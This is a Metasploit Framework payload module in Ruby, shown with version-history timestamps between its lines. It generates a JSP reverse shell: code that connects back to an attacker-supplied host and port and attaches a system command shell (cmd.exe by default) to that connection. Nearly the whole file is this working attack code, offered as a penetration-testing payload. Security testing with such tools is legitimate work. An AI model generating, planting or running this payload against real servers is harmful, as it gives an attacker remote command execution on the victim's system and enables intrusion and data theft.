2009-12-30 22:24:22 +00:00
|
|
|
##
|
|
|
|
# $Id$
|
|
|
|
##
|
|
|
|
|
|
|
|
##
|
2011-05-01 13:31:08 +00:00
|
|
|
# This file in part of the Metasploit Framework and may be subject to
|
2009-12-30 22:24:22 +00:00
|
|
|
# redintribution and commercial restrictions. Please see the Metasploit
|
|
|
|
# Framework web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/framework/
|
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
require 'msf/core/handler/reverse_tcp'
|
|
|
|
require 'msf/base/sessions/command_shell'
|
2010-02-24 01:19:59 +00:00
|
|
|
require 'msf/base/sessions/command_shell_options'
|
2009-12-30 22:24:22 +00:00
|
|
|
|
|
|
|
module Metasploit3
|
|
|
|
|
|
|
|
include Msf::Payload::Single
|
2010-02-24 01:19:59 +00:00
|
|
|
include Msf::Sessions::CommandShellOptions
|
2009-12-30 22:24:22 +00:00
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(merge_info(info,
|
|
|
|
'Name' => 'Java JSP Command Shell, Reverse TCP Inline',
|
|
|
|
'Version' => '$Revision$',
|
|
|
|
'Description' => 'Connect back to attacker and spawn a command shell',
|
|
|
|
'Author' => [ 'sf' ],
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Platform' => [ 'win', 'osx', 'linux', 'unix', 'solaris' ],
|
|
|
|
'Arch' => ARCH_JAVA,
|
|
|
|
'Handler' => Msf::Handler::ReverseTcp,
|
|
|
|
'Session' => Msf::Sessions::CommandShell,
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Offsets' => { },
|
|
|
|
'Payload' => ''
|
|
|
|
}
|
|
|
|
))
|
|
|
|
register_options( [ OptString.new( 'SHELL', [ true, "The system shell to use.", 'cmd.exe' ]), ], self.class )
|
|
|
|
end
|
2010-02-24 01:19:59 +00:00
|
|
|
|
2009-12-30 22:24:22 +00:00
|
|
|
|
|
|
|
def generate
|
|
|
|
# JSP Reverse Shell modified from: http://www.security.org.sg/code/jspreverse.html
|
|
|
|
jsp = %q{
|
|
|
|
<%@page import="java.lang.*"%>
|
|
|
|
<%@page import="java.util.*"%>
|
|
|
|
<%@page import="java.io.*"%>
|
|
|
|
<%@page import="java.net.*"%>
|
|
|
|
|
|
|
|
<%
|
|
|
|
class StreamConnector extends Thread
|
|
|
|
{
|
|
|
|
InputStream is;
|
|
|
|
OutputStream os;
|
2010-02-24 01:19:59 +00:00
|
|
|
|
2009-12-30 22:24:22 +00:00
|
|
|
StreamConnector( InputStream is, OutputStream os )
|
|
|
|
{
|
|
|
|
this.is = is;
|
|
|
|
this.os = os;
|
|
|
|
}
|
2010-02-24 01:19:59 +00:00
|
|
|
|
2009-12-30 22:24:22 +00:00
|
|
|
public void run()
|
|
|
|
{
|
|
|
|
BufferedReader in = null;
|
|
|
|
BufferedWriter out = null;
|
|
|
|
try
|
|
|
|
{
|
|
|
|
in = new BufferedReader( new InputStreamReader( this.is ) );
|
|
|
|
out = new BufferedWriter( new OutputStreamWriter( this.os ) );
|
|
|
|
char buffer[] = new char[8192];
|
|
|
|
int length;
|
|
|
|
while( ( length = in.read( buffer, 0, buffer.length ) ) > 0 )
|
|
|
|
{
|
|
|
|
out.write( buffer, 0, length );
|
|
|
|
out.flush();
|
|
|
|
}
|
|
|
|
} catch( Exception e ){}
|
|
|
|
try
|
|
|
|
{
|
|
|
|
if( in != null )
|
|
|
|
in.close();
|
|
|
|
if( out != null )
|
|
|
|
out.close();
|
|
|
|
} catch( Exception e ){}
|
|
|
|
}
|
|
|
|
}
|
|
|
|
|
|
|
|
try
|
|
|
|
{
|
|
|
|
Socket socket = new Socket( "LHOST", LPORT );
|
|
|
|
Process process = Runtime.getRuntime().exec( "SHELL" );
|
|
|
|
( new StreamConnector( process.getInputStream(), socket.getOutputStream() ) ).start();
|
|
|
|
( new StreamConnector( socket.getInputStream(), process.getOutputStream() ) ).start();
|
|
|
|
} catch( Exception e ) {}
|
|
|
|
%>
|
|
|
|
}
|
2010-02-24 01:19:59 +00:00
|
|
|
|
2009-12-30 22:24:22 +00:00
|
|
|
if( !datastore['LHOST'] or datastore['LHOST'].empty? )
|
|
|
|
return super
|
|
|
|
end
|
2010-02-24 01:19:59 +00:00
|
|
|
|
2009-12-30 22:24:22 +00:00
|
|
|
jsp = jsp.gsub( "LHOST", datastore['LHOST'] )
|
2010-02-24 01:19:59 +00:00
|
|
|
|
2009-12-30 22:24:22 +00:00
|
|
|
jsp = jsp.gsub( "LPORT", datastore['LPORT'].to_s )
|
2010-02-24 01:19:59 +00:00
|
|
|
|
2009-12-30 22:24:22 +00:00
|
|
|
jsp = jsp.gsub( "SHELL", datastore['SHELL'] )
|
2010-02-24 01:19:59 +00:00
|
|
|
|
2009-12-30 22:24:22 +00:00
|
|
|
return super + jsp
|
|
|
|
end
|
|
|
|
|
|
|
|
end
|